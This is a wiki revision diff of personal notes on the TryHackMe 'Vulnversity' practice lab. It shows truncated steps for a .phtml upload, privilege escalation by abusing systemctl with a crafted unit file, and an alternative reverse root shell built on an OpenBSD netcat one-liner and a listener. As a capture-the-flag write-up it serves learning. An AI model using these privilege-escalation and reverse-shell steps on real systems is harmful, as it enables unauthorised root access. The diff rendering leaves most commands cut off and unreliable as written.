prac_app_tryhackme
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
prac_app_tryhackme [2022/09/24 18:50] – [TRY HACK ME] gman | prac_app_tryhackme [2022/09/24 19:03] (current) – gman | ||
---|---|---|---|
Line 2: | Line 2: | ||
* [[https:// | * [[https:// | ||
- | |||
- | ====== Level 1 Headline ====== | ||
- | |||
- | ===== Headline 2 ===== | ||
- | |||
- | ==== Headline 3 ==== | ||
- | |||
- | === Headline 4 === | ||
- | |||
- | == Headline 5 == | ||
- | |||
- | = Headline 6 = | ||
- | |||
- | ---- | ||
- | |||
- | |||
- | |||
- | |||
- | |||
====== Vulnversity ====== | ====== Vulnversity ====== | ||
Line 80: | Line 61: | ||
</ | </ | ||
- | Then execute the .phtml file on the target machine: | + | * Then execute the .phtml file on the target machine: |
< | < | ||
Line 100: | Line 81: | ||
**Discovered Vulnerability: | **Discovered Vulnerability: | ||
+ | |||
+ | ===== Exploit ===== | ||
[[https:// | [[https:// | ||
- | * First we create a variable which holds a unique file (on target machine). | + | * First we create a variable which holds a unique file (on target machine). |
- | < | + | |
+ | < | ||
+ | |||
+ | * Then we create an unit file and write it into the variable. Inside the unit file we enter a command that will let the shell execute the command '' | ||
- | </ | ||
- | * Then we create an unit file and write it into the variable. | ||
< | < | ||
+ | echo ' | ||
+ | > ExecStart=/ | ||
+ | > [Install] | ||
+ | > WantedBy=multi-user.target' | ||
</ | </ | ||
- | * Inside the unit file we entered a command which will let shell execute the command cat and redirect the output of cat to a file called output in the folder tmp. | ||
- | < | ||
- | </ | ||
* And finally we use the / | * And finally we use the / | ||
+ | |||
< | < | ||
+ | / | ||
+ | # Created symlink from / | ||
+ | / | ||
+ | # Created symlink from / | ||
</ | </ | ||
+ | |||
* Find it: | * Find it: | ||
- | < | ||
- | </ | + | < |
+ | |||
+ | ===== Alternative Exploit ===== | ||
**To get a reverse root shell:** | **To get a reverse root shell:** | ||
+ | |||
+ | **NOTE:** the target machine is using netcat OpenBSD, NOT the traditional netcat. That means the -e (execute) flag will not work. See **Netcat (Traditional)** and **Netcat (OpenBSD)" | ||
+ | |||
+ | < | ||
+ | # nc (openbsd): | ||
+ | rm / | ||
+ | </ | ||
* Create your unit file: | * Create your unit file: | ||
+ | |||
< | < | ||
+ | echo ' | ||
+ | Type=oneshot | ||
+ | ExecStart=/ | ||
+ | [Install] | ||
+ | WantedBy=multi-user.target' | ||
</ | </ | ||
+ | |||
* Open a listener on your attack machine: | * Open a listener on your attack machine: | ||
- | < | ||
- | </ | + | < |
* Link and start the service: | * Link and start the service: | ||
- | < | ||
+ | < | ||
+ | / | ||
+ | / | ||
</ | </ | ||
Done. | Done. | ||
+ | |||
+ | ---- | ||
+ |
prac_app_tryhackme.1664045457.txt.gz · Last modified: by gman